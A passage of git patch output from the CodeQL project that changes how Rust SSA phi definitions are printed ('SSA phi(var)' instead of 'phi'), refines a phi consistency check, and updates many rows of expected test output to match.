main.rs:730:16:730:20 | SelfParam | | file://:0:0:0:0 | & | | main.rs:730:16:730:20 | SelfParam | &T | main.rs:727:5:727:26 | struct MyStruct | From 01810cbac94a587ea5211a99550d516061355d21 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 1 Apr 2025 14:59:05 +0200 Subject: [PATCH 199/282] Rust: Update `PhiDefinition.toString` --- rust/ql/lib/codeql/rust/dataflow/Ssa.qll | 2 +- .../test/library-tests/variables/Ssa.expected | 174 +++++++++--------- 2 files changed, 88 insertions(+), 88 deletions(-) diff --git a/rust/ql/lib/codeql/rust/dataflow/Ssa.qll b/rust/ql/lib/codeql/rust/dataflow/Ssa.qll index 4a439f46b9c..932b846c4a3 100644 --- a/rust/ql/lib/codeql/rust/dataflow/Ssa.qll +++ b/rust/ql/lib/codeql/rust/dataflow/Ssa.qll @@ -263,7 +263,7 @@ module Ssa { not exists(this.getSplitString()) and prefix = "" | - result = prefix + "phi" + result = prefix + SsaImpl::PhiDefinition.super.toString() ) } diff --git a/rust/ql/test/library-tests/variables/Ssa.expected b/rust/ql/test/library-tests/variables/Ssa.expected index 05c6f57045d..f45005b51a0 100644 --- a/rust/ql/test/library-tests/variables/Ssa.expected +++ b/rust/ql/test/library-tests/variables/Ssa.expected @@ -38,45 +38,45 @@ definition | main.rs:173:17:173:27 | id_variable | main.rs:173:17:173:27 | id_variable | | main.rs:178:26:178:27 | id | main.rs:178:26:178:27 | id | | main.rs:189:9:189:14 | either | main.rs:189:9:189:14 | either | -| main.rs:191:9:191:44 | phi | main.rs:191:9:191:44 | a3 | +| main.rs:191:9:191:44 | SSA phi(a3) | main.rs:191:9:191:44 | a3 | | main.rs:191:22:191:23 | a3 | main.rs:191:9:191:44 | a3 | | main.rs:191:42:191:43 | a3 | main.rs:191:9:191:44 | a3 | | main.rs:203:9:203:10 | tv | main.rs:203:9:203:10 | tv | -| main.rs:205:9:205:81 | phi | main.rs:205:9:205:81 | a4 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:9:205:81 | a4 | | main.rs:205:28:205:29 | a4 | main.rs:205:9:205:81 | a4 | | main.rs:205:54:205:55 | a4 | main.rs:205:9:205:81 | a4 | | main.rs:205:79:205:80 | a4 | main.rs:205:9:205:81 | a4 | -| main.rs:209:9:209:83 | phi | main.rs:209:9:209:83 | a5 | -| main.rs:209:10:209:57 | [match(true)] phi | main.rs:209:9:209:83 | a5 | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:9:209:83 | a5 | +| main.rs:209:10:209:57 | [match(true)] SSA phi(a5) | main.rs:209:9:209:83 | a5 | | main.rs:209:29:209:30 | a5 | main.rs:209:9:209:83 | a5 | | main.rs:209:55:209:56 | a5 | main.rs:209:9:209:83 | a5 | | main.rs:209:81:209:82 | a5 | main.rs:209:9:209:83 | a5 | -| main.rs:213:9:213:83 | phi | main.rs:213:9:213:83 | a6 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | | main.rs:213:28:213:29 | a6 | main.rs:213:9:213:83 | a6 | -| main.rs:213:35:213:82 | phi | main.rs:213:9:213:83 | a6 | +| main.rs:213:35:213:82 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | | main.rs:213:55:213:56 | a6 | main.rs:213:9:213:83 | a6 | | main.rs:213:80:213:81 | a6 | main.rs:213:9:213:83 | a6 | | main.rs:219:9:219:14 | either | main.rs:219:9:219:14 | either | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:9:221:44 | a7 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:9:221:44 | a7 | | main.rs:221:22:221:23 | a7 | main.rs:221:9:221:44 | a7 | | main.rs:221:42:221:43 | a7 | main.rs:221:9:221:44 | a7 | | main.rs:229:9:229:14 | either | main.rs:229:9:229:14 | either | | main.rs:232:13:232:13 | e | main.rs:232:13:232:13 | e | -| main.rs:233:14:233:51 | [match(true)] phi | main.rs:233:14:233:51 | a11 | +| main.rs:233:14:233:51 | [match(true)] SSA phi(a11) | main.rs:233:14:233:51 | a11 | | main.rs:233:27:233:29 | a11 | main.rs:233:14:233:51 | a11 | | main.rs:233:48:233:50 | a11 | main.rs:233:14:233:51 | a11 | | main.rs:236:33:236:35 | a12 | main.rs:236:33:236:35 | a12 | | main.rs:253:9:253:10 | fv | main.rs:253:9:253:10 | fv | -| main.rs:255:9:255:109 | phi | main.rs:255:9:255:109 | a13 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:9:255:109 | a13 | | main.rs:255:27:255:29 | a13 | main.rs:255:9:255:109 | a13 | -| main.rs:255:35:255:82 | [match(true)] phi | main.rs:255:9:255:109 | a13 | +| main.rs:255:35:255:82 | [match(true)] SSA phi(a13) | main.rs:255:9:255:109 | a13 | | main.rs:255:54:255:56 | a13 | main.rs:255:9:255:109 | a13 | | main.rs:255:79:255:81 | a13 | main.rs:255:9:255:109 | a13 | | main.rs:255:106:255:108 | a13 | main.rs:255:9:255:109 | a13 | | main.rs:261:5:261:6 | a8 | main.rs:261:5:261:6 | a8 | | main.rs:263:9:263:10 | b3 | main.rs:263:9:263:10 | b3 | | main.rs:264:9:264:10 | c1 | main.rs:264:9:264:10 | c1 | -| main.rs:272:6:272:41 | phi | main.rs:272:6:272:41 | a9 | +| main.rs:272:6:272:41 | SSA phi(a9) | main.rs:272:6:272:41 | a9 | | main.rs:272:19:272:20 | a9 | main.rs:272:6:272:41 | a9 | | main.rs:272:39:272:40 | a9 | main.rs:272:6:272:41 | a9 | | main.rs:279:13:279:15 | a10 | main.rs:279:13:279:15 | a10 | @@ -138,7 +138,7 @@ definition | main.rs:471:5:471:15 | i | main.rs:466:13:466:13 | i | | main.rs:475:8:475:8 | b | main.rs:475:8:475:8 | b | | main.rs:476:13:476:13 | x | main.rs:476:13:476:13 | x | -| main.rs:479:5:487:5 | phi | main.rs:476:13:476:13 | x | +| main.rs:479:5:487:5 | SSA phi(x) | main.rs:476:13:476:13 | x | | main.rs:480:9:480:9 | x | main.rs:476:13:476:13 | x | | main.rs:484:9:484:9 | x | main.rs:476:13:476:13 | x | | main.rs:491:13:491:14 | b1 | main.rs:491:13:491:14 | b1 | @@ -207,26 +207,26 @@ read | main.rs:173:17:173:27 | id_variable | main.rs:173:17:173:27 | id_variable | main.rs:174:24:174:34 | id_variable | | main.rs:178:26:178:27 | id | main.rs:178:26:178:27 | id | main.rs:179:23:179:24 | id | | main.rs:189:9:189:14 | either | main.rs:189:9:189:14 | either | main.rs:190:11:190:16 | either | -| main.rs:191:9:191:44 | phi | main.rs:191:9:191:44 | a3 | main.rs:192:26:192:27 | a3 | +| main.rs:191:9:191:44 | SSA phi(a3) | main.rs:191:9:191:44 | a3 | main.rs:192:26:192:27 | a3 | | main.rs:203:9:203:10 | tv | main.rs:203:9:203:10 | tv | main.rs:204:11:204:12 | tv | | main.rs:203:9:203:10 | tv | main.rs:203:9:203:10 | tv | main.rs:208:11:208:12 | tv | | main.rs:203:9:203:10 | tv | main.rs:203:9:203:10 | tv | main.rs:212:11:212:12 | tv | -| main.rs:205:9:205:81 | phi | main.rs:205:9:205:81 | a4 | main.rs:206:26:206:27 | a4 | -| main.rs:209:9:209:83 | phi | main.rs:209:9:209:83 | a5 | main.rs:210:26:210:27 | a5 | -| main.rs:213:9:213:83 | phi | main.rs:213:9:213:83 | a6 | main.rs:214:26:214:27 | a6 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:9:205:81 | a4 | main.rs:206:26:206:27 | a4 | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:9:209:83 | a5 | main.rs:210:26:210:27 | a5 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | main.rs:214:26:214:27 | a6 | | main.rs:219:9:219:14 | either | main.rs:219:9:219:14 | either | main.rs:220:11:220:16 | either | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:9:221:44 | a7 | main.rs:222:16:222:17 | a7 | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:9:221:44 | a7 | main.rs:223:26:223:27 | a7 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:9:221:44 | a7 | main.rs:222:16:222:17 | a7 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:9:221:44 | a7 | main.rs:223:26:223:27 | a7 | | main.rs:229:9:229:14 | either | main.rs:229:9:229:14 | either | main.rs:231:11:231:16 | either | | main.rs:232:13:232:13 | e | main.rs:232:13:232:13 | e | main.rs:237:15:237:15 | e | -| main.rs:233:14:233:51 | [match(true)] phi | main.rs:233:14:233:51 | a11 | main.rs:235:23:235:25 | a11 | +| main.rs:233:14:233:51 | [match(true)] SSA phi(a11) | main.rs:233:14:233:51 | a11 | main.rs:235:23:235:25 | a11 | | main.rs:236:33:236:35 | a12 | main.rs:236:33:236:35 | a12 | main.rs:238:28:238:30 | a12 | | main.rs:253:9:253:10 | fv | main.rs:253:9:253:10 | fv | main.rs:254:11:254:12 | fv | -| main.rs:255:9:255:109 | phi | main.rs:255:9:255:109 | a13 | main.rs:256:26:256:28 | a13 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:9:255:109 | a13 | main.rs:256:26:256:28 | a13 | | main.rs:261:5:261:6 | a8 | main.rs:261:5:261:6 | a8 | main.rs:266:15:266:16 | a8 | | main.rs:263:9:263:10 | b3 | main.rs:263:9:263:10 | b3 | main.rs:267:15:267:16 | b3 | | main.rs:264:9:264:10 | c1 | main.rs:264:9:264:10 | c1 | main.rs:268:15:268:16 | c1 | -| main.rs:272:6:272:41 | phi | main.rs:272:6:272:41 | a9 | main.rs:274:15:274:16 | a9 | +| main.rs:272:6:272:41 | SSA phi(a9) | main.rs:272:6:272:41 | a9 | main.rs:274:15:274:16 | a9 | | main.rs:279:13:279:15 | a10 | main.rs:279:13:279:15 | a10 | main.rs:283:15:283:17 | a10 | | main.rs:280:13:280:14 | b4 | main.rs:280:13:280:14 | b4 | main.rs:284:15:284:16 | b4 | | main.rs:281:13:281:14 | c2 | main.rs:281:13:281:14 | c2 | main.rs:285:15:285:16 | c2 | @@ -297,7 +297,7 @@ read | main.rs:475:8:475:8 | b | main.rs:475:8:475:8 | b | main.rs:479:8:479:8 | b | | main.rs:476:13:476:13 | x | main.rs:476:13:476:13 | x | main.rs:477:15:477:15 | x | | main.rs:476:13:476:13 | x | main.rs:476:13:476:13 | x | main.rs:478:15:478:15 | x | -| main.rs:479:5:487:5 | phi | main.rs:476:13:476:13 | x | main.rs:488:15:488:15 | x | +| main.rs:479:5:487:5 | SSA phi(x) | main.rs:476:13:476:13 | x | main.rs:488:15:488:15 | x | | main.rs:480:9:480:9 | x | main.rs:476:13:476:13 | x | main.rs:481:19:481:19 | x | | main.rs:480:9:480:9 | x | main.rs:476:13:476:13 | x | main.rs:482:19:482:19 | x | | main.rs:484:9:484:9 | x | main.rs:476:13:476:13 | x | main.rs:485:19:485:19 | x | @@ -372,23 +372,23 @@ firstRead | main.rs:173:17:173:27 | id_variable | main.rs:173:17:173:27 | id_variable | main.rs:174:24:174:34 | id_variable | | main.rs:178:26:178:27 | id | main.rs:178:26:178:27 | id | main.rs:179:23:179:24 | id | | main.rs:189:9:189:14 | either | main.rs:189:9:189:14 | either | main.rs:190:11:190:16 | either | -| main.rs:191:9:191:44 | phi | main.rs:191:9:191:44 | a3 | main.rs:192:26:192:27 | a3 | +| main.rs:191:9:191:44 | SSA phi(a3) | main.rs:191:9:191:44 | a3 | main.rs:192:26:192:27 | a3 | | main.rs:203:9:203:10 | tv | main.rs:203:9:203:10 | tv | main.rs:204:11:204:12 | tv | -| main.rs:205:9:205:81 | phi | main.rs:205:9:205:81 | a4 | main.rs:206:26:206:27 | a4 | -| main.rs:209:9:209:83 | phi | main.rs:209:9:209:83 | a5 | main.rs:210:26:210:27 | a5 | -| main.rs:213:9:213:83 | phi | main.rs:213:9:213:83 | a6 | main.rs:214:26:214:27 | a6 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:9:205:81 | a4 | main.rs:206:26:206:27 | a4 | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:9:209:83 | a5 | main.rs:210:26:210:27 | a5 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | main.rs:214:26:214:27 | a6 | | main.rs:219:9:219:14 | either | main.rs:219:9:219:14 | either | main.rs:220:11:220:16 | either | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:9:221:44 | a7 | main.rs:222:16:222:17 | a7 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:9:221:44 | a7 | main.rs:222:16:222:17 | a7 | | main.rs:229:9:229:14 | either | main.rs:229:9:229:14 | either | main.rs:231:11:231:16 | either | | main.rs:232:13:232:13 | e | main.rs:232:13:232:13 | e | main.rs:237:15:237:15 | e | -| main.rs:233:14:233:51 | [match(true)] phi | main.rs:233:14:233:51 | a11 | main.rs:235:23:235:25 | a11 | +| main.rs:233:14:233:51 | [match(true)] SSA phi(a11) | main.rs:233:14:233:51 | a11 | main.rs:235:23:235:25 | a11 | | main.rs:236:33:236:35 | a12 | main.rs:236:33:236:35 | a12 | main.rs:238:28:238:30 | a12 | | main.rs:253:9:253:10 | fv | main.rs:253:9:253:10 | fv | main.rs:254:11:254:12 | fv | -| main.rs:255:9:255:109 | phi | main.rs:255:9:255:109 | a13 | main.rs:256:26:256:28 | a13 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:9:255:109 | a13 | main.rs:256:26:256:28 | a13 | | main.rs:261:5:261:6 | a8 | main.rs:261:5:261:6 | a8 | main.rs:266:15:266:16 | a8 | | main.rs:263:9:263:10 | b3 | main.rs:263:9:263:10 | b3 | main.rs:267:15:267:16 | b3 | | main.rs:264:9:264:10 | c1 | main.rs:264:9:264:10 | c1 | main.rs:268:15:268:16 | c1 | -| main.rs:272:6:272:41 | phi | main.rs:272:6:272:41 | a9 | main.rs:274:15:274:16 | a9 | +| main.rs:272:6:272:41 | SSA phi(a9) | main.rs:272:6:272:41 | a9 | main.rs:274:15:274:16 | a9 | | main.rs:279:13:279:15 | a10 | main.rs:279:13:279:15 | a10 | main.rs:283:15:283:17 | a10 | | main.rs:280:13:280:14 | b4 | main.rs:280:13:280:14 | b4 | main.rs:284:15:284:16 | b4 | | main.rs:281:13:281:14 | c2 | main.rs:281:13:281:14 | c2 | main.rs:285:15:285:16 | c2 | @@ -444,7 +444,7 @@ firstRead | main.rs:471:5:471:15 | i | main.rs:466:13:466:13 | i | main.rs:472:15:472:15 | i | | main.rs:475:8:475:8 | b | main.rs:475:8:475:8 | b | main.rs:479:8:479:8 | b | | main.rs:476:13:476:13 | x | main.rs:476:13:476:13 | x | main.rs:477:15:477:15 | x | -| main.rs:479:5:487:5 | phi | main.rs:476:13:476:13 | x | main.rs:488:15:488:15 | x | +| main.rs:479:5:487:5 | SSA phi(x) | main.rs:476:13:476:13 | x | main.rs:488:15:488:15 | x | | main.rs:480:9:480:9 | x | main.rs:476:13:476:13 | x | main.rs:481:19:481:19 | x | | main.rs:484:9:484:9 | x | main.rs:476:13:476:13 | x | main.rs:485:19:485:19 | x | | main.rs:491:13:491:14 | b1 | main.rs:491:13:491:14 | b1 | main.rs:493:8:493:9 | b1 | @@ -477,7 +477,7 @@ adjacentReads | main.rs:128:9:128:15 | numbers | main.rs:128:9:128:15 | numbers | main.rs:130:11:130:17 | numbers | main.rs:142:11:142:17 | numbers | | main.rs:203:9:203:10 | tv | main.rs:203:9:203:10 | tv | main.rs:204:11:204:12 | tv | main.rs:208:11:208:12 | tv | | main.rs:203:9:203:10 | tv | main.rs:203:9:203:10 | tv | main.rs:208:11:208:12 | tv | main.rs:212:11:212:12 | tv | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:9:221:44 | a7 | main.rs:222:16:222:17 | a7 | main.rs:223:26:223:27 | a7 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:9:221:44 | a7 | main.rs:222:16:222:17 | a7 | main.rs:223:26:223:27 | a7 | | main.rs:288:9:288:10 | c2 | main.rs:281:13:281:14 | c2 | main.rs:294:9:294:10 | c2 | main.rs:298:15:298:16 | c2 | | main.rs:289:9:289:10 | b4 | main.rs:280:13:280:14 | b4 | main.rs:293:9:293:10 | b4 | main.rs:297:15:297:16 | b4 | | main.rs:289:9:289:10 | b4 | main.rs:280:13:280:14 | b4 | main.rs:297:15:297:16 | b4 | main.rs:311:15:311:16 | b4 | @@ -506,32 +506,32 @@ adjacentReads | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a | main.rs:542:5:542:5 | a | main.rs:543:15:543:15 | a | | main.rs:549:9:549:9 | x | main.rs:549:9:549:9 | x | main.rs:550:20:550:20 | x | main.rs:551:15:551:15 | x | phi -| main.rs:191:9:191:44 | phi | main.rs:191:9:191:44 | a3 | main.rs:191:22:191:23 | a3 | -| main.rs:191:9:191:44 | phi | main.rs:191:9:191:44 | a3 | main.rs:191:42:191:43 | a3 | -| main.rs:205:9:205:81 | phi | main.rs:205:9:205:81 | a4 | main.rs:205:28:205:29 | a4 | -| main.rs:205:9:205:81 | phi | main.rs:205:9:205:81 | a4 | main.rs:205:54:205:55 | a4 | -| main.rs:205:9:205:81 | phi | main.rs:205:9:205:81 | a4 | main.rs:205:79:205:80 | a4 | -| main.rs:209:9:209:83 | phi | main.rs:209:9:209:83 | a5 | main.rs:209:10:209:57 | [match(true)] phi | -| main.rs:209:9:209:83 | phi | main.rs:209:9:209:83 | a5 | main.rs:209:81:209:82 | a5 | -| main.rs:209:10:209:57 | [match(true)] phi | main.rs:209:9:209:83 | a5 | main.rs:209:29:209:30 | a5 | -| main.rs:209:10:209:57 | [match(true)] phi | main.rs:209:9:209:83 | a5 | main.rs:209:55:209:56 | a5 | -| main.rs:213:9:213:83 | phi | main.rs:213:9:213:83 | a6 | main.rs:213:28:213:29 | a6 | -| main.rs:213:9:213:83 | phi | main.rs:213:9:213:83 | a6 | main.rs:213:35:213:82 | phi | -| main.rs:213:35:213:82 | phi | main.rs:213:9:213:83 | a6 | main.rs:213:55:213:56 | a6 | -| main.rs:213:35:213:82 | phi | main.rs:213:9:213:83 | a6 | main.rs:213:80:213:81 | a6 | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:9:221:44 | a7 | main.rs:221:22:221:23 | a7 | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:9:221:44 | a7 | main.rs:221:42:221:43 | a7 | -| main.rs:233:14:233:51 | [match(true)] phi | main.rs:233:14:233:51 | a11 | main.rs:233:27:233:29 | a11 | -| main.rs:233:14:233:51 | [match(true)] phi | main.rs:233:14:233:51 | a11 | main.rs:233:48:233:50 | a11 | -| main.rs:255:9:255:109 | phi | main.rs:255:9:255:109 | a13 | main.rs:255:27:255:29 | a13 | -| main.rs:255:9:255:109 | phi | main.rs:255:9:255:109 | a13 | main.rs:255:35:255:82 | [match(true)] phi | -| main.rs:255:9:255:109 | phi | main.rs:255:9:255:109 | a13 | main.rs:255:106:255:108 | a13 | -| main.rs:255:35:255:82 | [match(true)] phi | main.rs:255:9:255:109 | a13 | main.rs:255:54:255:56 | a13 | -| main.rs:255:35:255:82 | [match(true)] phi | main.rs:255:9:255:109 | a13 | main.rs:255:79:255:81 | a13 | -| main.rs:272:6:272:41 | phi | main.rs:272:6:272:41 | a9 | main.rs:272:19:272:20 | a9 | -| main.rs:272:6:272:41 | phi | main.rs:272:6:272:41 | a9 | main.rs:272:39:272:40 | a9 | -| main.rs:479:5:487:5 | phi | main.rs:476:13:476:13 | x | main.rs:480:9:480:9 | x | -| main.rs:479:5:487:5 | phi | main.rs:476:13:476:13 | x | main.rs:484:9:484:9 | x | +| main.rs:191:9:191:44 | SSA phi(a3) | main.rs:191:9:191:44 | a3 | main.rs:191:22:191:23 | a3 | +| main.rs:191:9:191:44 | SSA phi(a3) | main.rs:191:9:191:44 | a3 | main.rs:191:42:191:43 | a3 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:9:205:81 | a4 | main.rs:205:28:205:29 | a4 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:9:205:81 | a4 | main.rs:205:54:205:55 | a4 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:9:205:81 | a4 | main.rs:205:79:205:80 | a4 | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:9:209:83 | a5 | main.rs:209:10:209:57 | [match(true)] SSA phi(a5) | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:9:209:83 | a5 | main.rs:209:81:209:82 | a5 | +| main.rs:209:10:209:57 | [match(true)] SSA phi(a5) | main.rs:209:9:209:83 | a5 | main.rs:209:29:209:30 | a5 | +| main.rs:209:10:209:57 | [match(true)] SSA phi(a5) | main.rs:209:9:209:83 | a5 | main.rs:209:55:209:56 | a5 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | main.rs:213:28:213:29 | a6 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | main.rs:213:35:213:82 | SSA phi(a6) | +| main.rs:213:35:213:82 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | main.rs:213:55:213:56 | a6 | +| main.rs:213:35:213:82 | SSA phi(a6) | main.rs:213:9:213:83 | a6 | main.rs:213:80:213:81 | a6 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:9:221:44 | a7 | main.rs:221:22:221:23 | a7 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:9:221:44 | a7 | main.rs:221:42:221:43 | a7 | +| main.rs:233:14:233:51 | [match(true)] SSA phi(a11) | main.rs:233:14:233:51 | a11 | main.rs:233:27:233:29 | a11 | +| main.rs:233:14:233:51 | [match(true)] SSA phi(a11) | main.rs:233:14:233:51 | a11 | main.rs:233:48:233:50 | a11 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:9:255:109 | a13 | main.rs:255:27:255:29 | a13 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:9:255:109 | a13 | main.rs:255:35:255:82 | [match(true)] SSA phi(a13) | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:9:255:109 | a13 | main.rs:255:106:255:108 | a13 | +| main.rs:255:35:255:82 | [match(true)] SSA phi(a13) | main.rs:255:9:255:109 | a13 | main.rs:255:54:255:56 | a13 | +| main.rs:255:35:255:82 | [match(true)] SSA phi(a13) | main.rs:255:9:255:109 | a13 | main.rs:255:79:255:81 | a13 | +| main.rs:272:6:272:41 | SSA phi(a9) | main.rs:272:6:272:41 | a9 | main.rs:272:19:272:20 | a9 | +| main.rs:272:6:272:41 | SSA phi(a9) | main.rs:272:6:272:41 | a9 | main.rs:272:39:272:40 | a9 | +| main.rs:479:5:487:5 | SSA phi(x) | main.rs:476:13:476:13 | x | main.rs:480:9:480:9 | x | +| main.rs:479:5:487:5 | SSA phi(x) | main.rs:476:13:476:13 | x | main.rs:484:9:484:9 | x | phiReadNode | main.rs:104:11:105:12 | SSA phi read(s1) | main.rs:102:9:102:10 | s1 | | main.rs:493:5:497:5 | SSA phi read(x) | main.rs:492:9:492:9 | x | @@ -545,35 +545,35 @@ phiReadInput | main.rs:493:5:497:5 | SSA phi read(x) | main.rs:494:19:494:19 | SSA read(x) | | main.rs:493:5:497:5 | SSA phi read(x) | main.rs:496:19:496:19 | SSA read(x) | ultimateDef -| main.rs:191:9:191:44 | phi | main.rs:191:22:191:23 | a3 | -| main.rs:191:9:191:44 | phi | main.rs:191:42:191:43 | a3 | -| main.rs:205:9:205:81 | phi | main.rs:205:28:205:29 | a4 | -| main.rs:205:9:205:81 | phi | main.rs:205:54:205:55 | a4 | -| main.rs:205:9:205:81 | phi | main.rs:205:79:205:80 | a4 | -| main.rs:209:9:209:83 | phi | main.rs:209:29:209:30 | a5 | -| main.rs:209:9:209:83 | phi | main.rs:209:55:209:56 | a5 | -| main.rs:209:9:209:83 | phi | main.rs:209:81:209:82 | a5 | -| main.rs:209:10:209:57 | [match(true)] phi | main.rs:209:29:209:30 | a5 | -| main.rs:209:10:209:57 | [match(true)] phi | main.rs:209:55:209:56 | a5 | -| main.rs:213:9:213:83 | phi | main.rs:213:28:213:29 | a6 | -| main.rs:213:9:213:83 | phi | main.rs:213:55:213:56 | a6 | -| main.rs:213:9:213:83 | phi | main.rs:213:80:213:81 | a6 | -| main.rs:213:35:213:82 | phi | main.rs:213:55:213:56 | a6 | -| main.rs:213:35:213:82 | phi | main.rs:213:80:213:81 | a6 | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:22:221:23 | a7 | -| main.rs:221:9:221:44 | [match(true)] phi | main.rs:221:42:221:43 | a7 | -| main.rs:233:14:233:51 | [match(true)] phi | main.rs:233:27:233:29 | a11 | -| main.rs:233:14:233:51 | [match(true)] phi | main.rs:233:48:233:50 | a11 | -| main.rs:255:9:255:109 | phi | main.rs:255:27:255:29 | a13 | -| main.rs:255:9:255:109 | phi | main.rs:255:54:255:56 | a13 | -| main.rs:255:9:255:109 | phi | main.rs:255:79:255:81 | a13 | -| main.rs:255:9:255:109 | phi | main.rs:255:106:255:108 | a13 | -| main.rs:255:35:255:82 | [match(true)] phi | main.rs:255:54:255:56 | a13 | -| main.rs:255:35:255:82 | [match(true)] phi | main.rs:255:79:255:81 | a13 | -| main.rs:272:6:272:41 | phi | main.rs:272:19:272:20 | a9 | -| main.rs:272:6:272:41 | phi | main.rs:272:39:272:40 | a9 | -| main.rs:479:5:487:5 | phi | main.rs:480:9:480:9 | x | -| main.rs:479:5:487:5 | phi | main.rs:484:9:484:9 | x | +| main.rs:191:9:191:44 | SSA phi(a3) | main.rs:191:22:191:23 | a3 | +| main.rs:191:9:191:44 | SSA phi(a3) | main.rs:191:42:191:43 | a3 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:28:205:29 | a4 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:54:205:55 | a4 | +| main.rs:205:9:205:81 | SSA phi(a4) | main.rs:205:79:205:80 | a4 | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:29:209:30 | a5 | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:55:209:56 | a5 | +| main.rs:209:9:209:83 | SSA phi(a5) | main.rs:209:81:209:82 | a5 | +| main.rs:209:10:209:57 | [match(true)] SSA phi(a5) | main.rs:209:29:209:30 | a5 | +| main.rs:209:10:209:57 | [match(true)] SSA phi(a5) | main.rs:209:55:209:56 | a5 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:28:213:29 | a6 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:55:213:56 | a6 | +| main.rs:213:9:213:83 | SSA phi(a6) | main.rs:213:80:213:81 | a6 | +| main.rs:213:35:213:82 | SSA phi(a6) | main.rs:213:55:213:56 | a6 | +| main.rs:213:35:213:82 | SSA phi(a6) | main.rs:213:80:213:81 | a6 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:22:221:23 | a7 | +| main.rs:221:9:221:44 | [match(true)] SSA phi(a7) | main.rs:221:42:221:43 | a7 | +| main.rs:233:14:233:51 | [match(true)] SSA phi(a11) | main.rs:233:27:233:29 | a11 | +| main.rs:233:14:233:51 | [match(true)] SSA phi(a11) | main.rs:233:48:233:50 | a11 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:27:255:29 | a13 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:54:255:56 | a13 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:79:255:81 | a13 | +| main.rs:255:9:255:109 | SSA phi(a13) | main.rs:255:106:255:108 | a13 | +| main.rs:255:35:255:82 | [match(true)] SSA phi(a13) | main.rs:255:54:255:56 | a13 | +| main.rs:255:35:255:82 | [match(true)] SSA phi(a13) | main.rs:255:79:255:81 | a13 | +| main.rs:272:6:272:41 | SSA phi(a9) | main.rs:272:19:272:20 | a9 | +| main.rs:272:6:272:41 | SSA phi(a9) | main.rs:272:39:272:40 | a9 | +| main.rs:479:5:487:5 | SSA phi(x) | main.rs:480:9:480:9 | x | +| main.rs:479:5:487:5 | SSA phi(x) | main.rs:484:9:484:9 | x | assigns | main.rs:16:9:16:10 | x1 | main.rs:16:14:16:16 | "a" | | main.rs:21:13:21:14 | x2 | main.rs:21:18:21:18 | 4 | From 9dea9f50466b6c519a8f70744996b98aece2c25f Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 1 Apr 2025 14:59:43 +0200 Subject: [PATCH 200/282] SSA: Make `phiWithoutTwoPriorRefs` consistency check more informative --- .../CWE-089/CONSISTENCY/SsaConsistency.expected | 4 ++-- shared/ssa/codeql/ssa/Ssa.qll | 13 ++++++------- 2 files changed, 8 insertions(+), 9 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected index d5074d0d43a..cc715332c84 100644 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected @@ -1,4 +1,4 @@ uselessPhiNode -| sqlx.rs:155:5:157:5 | phi | 1 | +| sqlx.rs:155:5:157:5 | SSA phi(arg0) | 1 | phiWithoutTwoPriorRefs -| sqlx.rs:155:5:157:5 | phi | 1 | +| sqlx.rs:155:5:157:5 | SSA phi(arg0) | 